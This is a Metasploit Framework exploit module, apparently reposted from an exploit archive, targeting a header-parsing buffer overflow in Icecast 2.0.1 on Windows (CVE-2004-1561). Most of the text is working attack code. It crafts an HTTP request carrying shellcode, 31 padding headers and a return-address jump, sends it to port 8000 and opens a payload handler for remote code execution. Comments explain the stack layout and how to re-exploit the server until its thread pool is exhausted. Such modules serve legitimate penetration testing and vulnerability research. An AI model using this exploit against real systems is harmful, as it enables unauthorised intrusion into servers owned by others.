Icecast 2.0.1 Header Overwrite

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Icecast (<= 2.0.1) Header Overwrite (win32)',  
'Description' => %q{  
This module exploits a buffer overflow in the header parsing  
of icecast, discovered by Luigi Auriemma. Sending 32 HTTP  
headers will cause a write one past the end of a pointer  
array. On win32 this happens to overwrite the saved  
instruction pointer, and on linux (depending on compiler,  
etc) this seems to generally overwrite nothing crucial (read  
not exploitable).  
  
!! This exploit uses ExitThread(), this will leave icecast  
thinking the thread is still in use, and the thread counter  
won't be decremented. This means for each time your payload  
exits, the counter will be left incremented, and eventually  
the threadpool limit will be maxed. So you can multihit,  
but only till you fill the threadpool.  
  
},  
'Author' => [ 'spoonm', 'Luigi Auriemma <[email protected]>' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1561'],  
[ 'OSVDB', '10406'],  
[ 'BID', '11271'],  
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'],  
  
],  
'Privileged' => false,  
'DefaultOptions' =>   
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => "\x0d\x0a\x00",  
'DisableNops' => true,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Automatic', { }],  
],  
'DisclosureDate' => 'Sep 28 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8000)  
], self.class)  
end  
  
# Interesting that ebp is pushed after the local variables, and the line array  
# is right before the saved eip, so overrunning it just by 1 element overwrites  
# eip, making an interesting exploit....  
# .text:00414C00 sub esp, 94h  
# .text:00414C06 push ebx  
# .text:00414C07 push ebp  
# .text:00414C08 push esi  
  
def exploit  
connect  
  
# bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)  
# jmp 12   
evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"  
evul << "Accept: text/html\r\n" * 31;  
  
# jmp [esp+4]  
evul << "\xff\x64\x24\x04\r\n"  
evul << "\r\n"  
  
sock.put(evul)  
  
handler  
disconnect  
end  
  
end  
`